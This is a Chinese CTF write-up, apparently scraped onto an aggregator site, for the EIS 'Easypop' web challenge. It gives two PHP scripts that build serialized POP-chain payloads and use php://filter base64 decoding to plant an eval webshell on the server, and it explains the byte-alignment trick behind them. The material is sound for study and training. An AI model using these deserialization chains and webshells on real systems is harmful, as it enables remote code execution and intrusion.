EIS web 学习记录

Posted bohb-yunying

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了EIS web 学习记录相关的知识,希望对你有一定的参考价值。

Easybypass

放在php新特性的文章最后了,利用json反序列化脚本绕过disable_functions来get flag

Easypop

来自https://zhzhdoai.github.io/

<?php
error_reporting(0);

class A{

    protected $store;

    protected $key;

    protected $expire;
    public $complete;
    public $cache;
    public function __construct()
    {
        $this->key    = ".php";
        $this->store  = (new B());
        $this->expire = 6666;
        $this->complete="IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+";
        $this->cache=["1"];
    }

}

class B
{
    public $options;
    public function __construct()
    {
        $this->options[‘prefix‘]=‘php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1‘;
        $this->options[‘serialize‘]=‘serialize‘;
        $this->options[‘data_compress‘]=0;
    }
}

echo urlencode(serialize((new a())));

来自https://www.jianshu.com/p/763427ea0e4b

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = ‘1.php‘;
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options[‘prefix‘] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$b->options[‘expire‘] = 11;    
$b->options[‘data_compress‘] = false;
$b->options[‘serialize‘] = ‘strval‘;
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = ‘111‘;
$a->cache = array($path=>$object);
$a->complete = ‘2‘;
echo urlencode(serialize($a));
?>  

第二个脚本就是取交集使获得base64的字符串,但是需要算字数,因为要满足base64 4个字节为一组的形式,所以需要算$data之前的字节数,保持4个字节为一组将前面的<??>标签中的内容正常解码,否则影响后续写入内容。其实这里不用猜的,可以去fuzz尝试,在本地尝试字符串,先尝试填充字符串看能否base64-decode,如果decode出来完整的一句话木马说明成功。

技术图片

 

技术图片

技术图片

 

 

 

 

第一个脚本不需要计算字数,通过

php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1

用strip_tags去除了XML整个标签内容,并且再base64解码写入。第一个脚本巧妙在直接$this->cache=["1"];,然后结合json_encode和serialize

技术图片

 

解释下为什么可以,因为base64解码默认的解码范围如下

技术图片

 

能解码的部分就为

s511IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+

前面的s511四个字节为一组,解码为..u

技术图片

 

因此就会解码为..u <?php eval($_POST[osword]);?>形成了正确的形式。因为用了

string.strip_tags|convert.base64-decode/resource

因此<??>标签中的内容直接被string.strip_tags去除

$data   = "<?php
//" . sprintf(‘%012d‘, $expire) . "
 exit();?>
" . $data;

注意这里,不要认为 中的n会被算进去base64解码的字符数,因为这里用的双引号,不会对base64解码造成任何影响。

技术图片

 现在环境还开着,可以尝试去复现。

 

以上是关于EIS web 学习记录的主要内容,如果未能解决你的问题,请参考以下文章

EIS终端是做啥用的

BUUCTF[2020 新春红包题]1 web

ElasticSearch学习问题记录——Invalid shift value in prefixCoded bytes (is encoded value really an INT?)(代码片段

web前端开发JQuery常用实例代码片段(50个)

[原创]java WEB学习笔记61:Struts2学习之路--通用标签 property,uri,param,set,push,if-else,itertor,sort,date,a标签等(代码片段

python小白学习记录 多线程爬取ts片段